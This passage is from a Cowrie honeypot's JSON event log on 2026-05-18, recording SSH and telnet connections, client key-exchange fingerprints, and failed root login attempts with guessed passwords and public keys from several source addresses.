{"eventid":"cowrie.login.failed","username":"root","password":"oracle@123","message":"login attempt [root/oracle@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:59.407492Z","src_ip":"223.197.186.7","session":"a8f26bd361da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:00.625225Z","src_ip":"223.197.186.7","session":"a8f26bd361da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56720,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea6b5871710e","protocol":"ssh","message":"New connection: 103.77.175.15:56720 (159.203.135.109:22) [session: ea6b5871710e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:03.491949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:03.498444Z","src_ip":"103.77.175.15","session":"ea6b5871710e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.081008672714233,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:03.623786Z","src_ip":"152.42.224.71","session":"6f815aef2901","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:03.756755Z","src_ip":"103.77.175.15","session":"ea6b5871710e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3333333","message":"login attempt [root/3333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:04.517181Z","src_ip":"103.77.175.15","session":"ea6b5871710e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:05.770380Z","src_ip":"103.77.175.15","session":"ea6b5871710e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.603216886520386,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:09.031594Z","src_ip":"152.42.224.71","session":"b7106fef97f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.78838634490967,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:09.927389Z","src_ip":"152.42.224.71","session":"3ab52e89ccb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.61.231","src_port":54772,"dst_ip":"10.17.0.5","dst_port":22,"session":"6371f00d49d2","protocol":"ssh","message":"New connection: 65.60.61.231:54772 (10.17.0.5:22) [session: 6371f00d49d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.140620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.145187Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.173557Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:0d:03:61:97:1d:34:e7:5e:5d:e4:0a:f7:86:c1:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPDVtBQettbPs8acqozdaWmPrHPY4eAuS5xrTJP6MT5d3sGQqvKiDWeYm42PlnNkfWmHTUOkv/DbDWlWmwhlT1qZ5QWsbR1dnnZs5EoR5L2a4toLx2X+E3NDskivZLvFNBkL2pnzBtPRaVrES3SlvTM9D9js9ljxN/e1XzJtReGmSEM9MxjZQrZAyc+xkyA1Y1H2yChRwCw3v9MChNi4d1exZANVJBKE6bfHnvksvRFp/D2GhHhlSXyl5GZGYGHlBN4E8cPvmu6BSihnHxh8IkttJE00H5uw0ya08lJe+WF/Mc118PWGh20n/Lgq62sTWKKQuBx04w3thzj9/uRjKV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:0d:03:61:97:1d:34:e7:5e:5d:e4:0a:f7:86:c1:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.301581Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:0d:03:61:97:1d:34:e7:5e:5d:e4:0a:f7:86:c1:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPDVtBQettbPs8acqozdaWmPrHPY4eAuS5xrTJP6MT5d3sGQqvKiDWeYm42PlnNkfWmHTUOkv/DbDWlWmwhlT1qZ5QWsbR1dnnZs5EoR5L2a4toLx2X+E3NDskivZLvFNBkL2pnzBtPRaVrES3SlvTM9D9js9ljxN/e1XzJtReGmSEM9MxjZQrZAyc+xkyA1Y1H2yChRwCw3v9MChNi4d1exZANVJBKE6bfHnvksvRFp/D2GhHhlSXyl5GZGYGHlBN4E8cPvmu6BSihnHxh8IkttJE00H5uw0ya08lJe+WF/Mc118PWGh20n/Lgq62sTWKKQuBx04w3thzj9/uRjKV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.305708Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:c0:15:ff:fe:a9:9d:65:c6:a6:24:3f:d4:4c:81:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9zv2XXuwGTiPAi/S8aN+Qf9qjpyJtdp3rEa/zA8rXALpia6If9k/aVwDAoeRGMCiVeAgKYEYPonPGMxdoiAS1K76R79so0d6cG1QWF6iVyyU3mZ5ar663NFuZleZMrAzEQcAWQ4fG2kciwx6dTP7sDmW6jhbPXcHzNGrDq3r4MdZbc6DUQeSWMuwzJaDrKe3FPBKKCFzcuxve3aKwGap9SduAphggH7Yfw7N7Lo8Mbl1IEx9m/QJLT3N+Bub+pcqmN+/Kz65bBYZjaWbNrnLUI41PMvki4WgTLvmMICKwIDXU2TWJ+HnGHFRBAQLiJ8JQ6ZD8gEfIMYg650Wz4VAfot8GR1Gs/07tSqdzAfROoRSvOqjW0Nmwb7xIrvnidaMXER1TqViQBNQOomYakw680h3kPf6GwCpbhhloZUBrBxymijItdZZOaOnt2ju59DOpPtFzXSj4t85YO04HUkcOk0mm+RwDP2t+CFu4nBj9lGo777+xx8b/56iI2Pb2qUU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:c0:15:ff:fe:a9:9d:65:c6:a6:24:3f:d4:4c:81:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.334546Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:c0:15:ff:fe:a9:9d:65:c6:a6:24:3f:d4:4c:81:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9zv2XXuwGTiPAi/S8aN+Qf9qjpyJtdp3rEa/zA8rXALpia6If9k/aVwDAoeRGMCiVeAgKYEYPonPGMxdoiAS1K76R79so0d6cG1QWF6iVyyU3mZ5ar663NFuZleZMrAzEQcAWQ4fG2kciwx6dTP7sDmW6jhbPXcHzNGrDq3r4MdZbc6DUQeSWMuwzJaDrKe3FPBKKCFzcuxve3aKwGap9SduAphggH7Yfw7N7Lo8Mbl1IEx9m/QJLT3N+Bub+pcqmN+/Kz65bBYZjaWbNrnLUI41PMvki4WgTLvmMICKwIDXU2TWJ+HnGHFRBAQLiJ8JQ6ZD8gEfIMYg650Wz4VAfot8GR1Gs/07tSqdzAfROoRSvOqjW0Nmwb7xIrvnidaMXER1TqViQBNQOomYakw680h3kPf6GwCpbhhloZUBrBxymijItdZZOaOnt2ju59DOpPtFzXSj4t85YO04HUkcOk0mm+RwDP2t+CFu4nBj9lGo777+xx8b/56iI2Pb2qUU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.339052Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:c2:ad:00:bb:b1:fb:89:db:ef:64:be:21:3a:e8:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkVksHH+e6BFtWBren2ENxTt8bx06HQeXiRc1iblcA6eADHCZFYQZl+0whIA+5+5gERtGHRVIG2RP46gHukpb4Lwc5zv1JfQuMJGx2LHzheugurBoscMehBvj5gFWjGoVU4gD2y3ObLQVrxd3iT4Da3tCvf2fllSKnNZet0h5IcBB2dn9cRpWXiMJarI9Ek6x3X6gZL/Y0RUU1v4I8ye4AwZX7aHVfbL7ieR59VHogj2EUd4VPfg3nBKNInzRUUavLF0DaOh11GFEQAlTXN24mhcIDKM9Lbffvuw/5PVautQX8o4c8ckFnXFG8DFePBf/QSec4B5mV8Nq7mCo+7n4P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:c2:ad:00:bb:b1:fb:89:db:ef:64:be:21:3a:e8:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.369279Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:c2:ad:00:bb:b1:fb:89:db:ef:64:be:21:3a:e8:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkVksHH+e6BFtWBren2ENxTt8bx06HQeXiRc1iblcA6eADHCZFYQZl+0whIA+5+5gERtGHRVIG2RP46gHukpb4Lwc5zv1JfQuMJGx2LHzheugurBoscMehBvj5gFWjGoVU4gD2y3ObLQVrxd3iT4Da3tCvf2fllSKnNZet0h5IcBB2dn9cRpWXiMJarI9Ek6x3X6gZL/Y0RUU1v4I8ye4AwZX7aHVfbL7ieR59VHogj2EUd4VPfg3nBKNInzRUUavLF0DaOh11GFEQAlTXN24mhcIDKM9Lbffvuw/5PVautQX8o4c8ckFnXFG8DFePBf/QSec4B5mV8Nq7mCo+7n4P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.373461Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:83:ab:46:ee:b1:10:7c:54:e3:ad:a0:3a:b6:2a:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+BxoYbfWCav8O6tNeTr84BMbE99D2ZEPqQSLIDK+j7L7H8jg5ZK+mlyDi2kwnTXgb3AWH88ysnnNLCXS9kEYa2a5JjNDc5PnSsmwQnos2pIQbtf1IsdW9rVq61J8uBB9rbiGnyx2iPdy96bFvSIVBFzNjz4qf1TCdnI2bxIE7EeTgC98oiEf4Ff3fKzMy75NcBdx5JAtIrpml93bcrMS/fQmUFNH1UlKo/MeLgBStsIM6UBtpLmccgTOrq29jNXrcWaUsDl2PvIhMfhIasOYwRAmM2VxkQGQ69cdx3npQshfxqbZGKCOzeCNN+4wSuPZOMT1/pzdr7X+H7nUh6xOB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:83:ab:46:ee:b1:10:7c:54:e3:ad:a0:3a:b6:2a:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.403522Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:83:ab:46:ee:b1:10:7c:54:e3:ad:a0:3a:b6:2a:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+BxoYbfWCav8O6tNeTr84BMbE99D2ZEPqQSLIDK+j7L7H8jg5ZK+mlyDi2kwnTXgb3AWH88ysnnNLCXS9kEYa2a5JjNDc5PnSsmwQnos2pIQbtf1IsdW9rVq61J8uBB9rbiGnyx2iPdy96bFvSIVBFzNjz4qf1TCdnI2bxIE7EeTgC98oiEf4Ff3fKzMy75NcBdx5JAtIrpml93bcrMS/fQmUFNH1UlKo/MeLgBStsIM6UBtpLmccgTOrq29jNXrcWaUsDl2PvIhMfhIasOYwRAmM2VxkQGQ69cdx3npQshfxqbZGKCOzeCNN+4wSuPZOMT1/pzdr7X+H7nUh6xOB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.407595Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:df:fc:cd:a4:17:03:6e:e7:84:83:1b:ae:35:e6:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuzF+7rh0l5QJPihAg+MnW8BWSMoGu1nVDwo6UpuXSunXChwv5TQ3Ef1aOCkc1z2ksCgcYNe4yzlO1X4TrJv3GtahvwB0j0jGDAvULD1Mt2Rhxmjwd3jqJx/BU1b4XgwaGUo7ozP0n/ngZdC03F9gDH+lp79SljKUexFg594AKQ10bHnjtwzMA/OF1zuKHcD66xvHGZ8s25N540BjIErH4gW9Y4V2Aj2/Na/airevjGFO9KV7mY2I026SntHf4+UchhXoHYKaRjVrrDLey/NoOiybgb4+LMF7eXdE51ZDNptvDhJbeFTLmgEzpvOkA/+MLLBhJsJHv6gobBCy2wwKIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:df:fc:cd:a4:17:03:6e:e7:84:83:1b:ae:35:e6:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.437665Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:df:fc:cd:a4:17:03:6e:e7:84:83:1b:ae:35:e6:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuzF+7rh0l5QJPihAg+MnW8BWSMoGu1nVDwo6UpuXSunXChwv5TQ3Ef1aOCkc1z2ksCgcYNe4yzlO1X4TrJv3GtahvwB0j0jGDAvULD1Mt2Rhxmjwd3jqJx/BU1b4XgwaGUo7ozP0n/ngZdC03F9gDH+lp79SljKUexFg594AKQ10bHnjtwzMA/OF1zuKHcD66xvHGZ8s25N540BjIErH4gW9Y4V2Aj2/Na/airevjGFO9KV7mY2I026SntHf4+UchhXoHYKaRjVrrDLey/NoOiybgb4+LMF7eXdE51ZDNptvDhJbeFTLmgEzpvOkA/+MLLBhJsJHv6gobBCy2wwKIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.442097Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:18.471204Z","src_ip":"65.60.61.231","session":"6371f00d49d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36886,"dst_ip":"10.17.0.5","dst_port":23,"session":"5620a90247b7","protocol":"telnet","message":"New connection: 152.42.224.71:36886 (10.17.0.5:23) [session: 5620a90247b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:19.055684Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36890,"dst_ip":"10.17.0.5","dst_port":23,"session":"add0063f748e","protocol":"telnet","message":"New connection: 152.42.224.71:36890 (10.17.0.5:23) [session: add0063f748e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:22.492652Z"}
{"eventid":"cowrie.session.closed","duration":64.50005030632019,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:35.366594Z","src_ip":"152.42.224.71","session":"93383538f2ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48382,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0372265c8da","protocol":"telnet","message":"New connection: 152.42.224.71:48382 (10.17.0.5:23) [session: d0372265c8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:35.793997Z"}
{"eventid":"cowrie.session.closed","duration":101.99603509902954,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:38.337008Z","src_ip":"152.42.224.71","session":"e67c44c46355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59428,"dst_ip":"10.17.0.5","dst_port":23,"session":"876ca7803421","protocol":"telnet","message":"New connection: 152.42.224.71:59428 (10.17.0.5:23) [session: 876ca7803421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:40.011178Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":52092,"dst_ip":"10.17.0.5","dst_port":22,"session":"b188a1001b3b","protocol":"ssh","message":"New connection: 124.109.2.211:52092 (10.17.0.5:22) [session: b188a1001b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:41.582266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:41.634182Z","src_ip":"124.109.2.211","session":"b188a1001b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:41.865200Z","src_ip":"124.109.2.211","session":"b188a1001b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"six","message":"login attempt [root/six] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:42.862555Z","src_ip":"124.109.2.211","session":"b188a1001b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59434,"dst_ip":"10.17.0.5","dst_port":23,"session":"3783cd0f5e7a","protocol":"telnet","message":"New connection: 152.42.224.71:59434 (10.17.0.5:23) [session: 3783cd0f5e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:43.054389Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":62677,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9dffdd4cba1","protocol":"ssh","message":"New connection: 223.197.186.7:62677 (10.17.0.5:22) [session: c9dffdd4cba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:43.133507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:12:43.138297Z","src_ip":"223.197.186.7","session":"c9dffdd4cba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.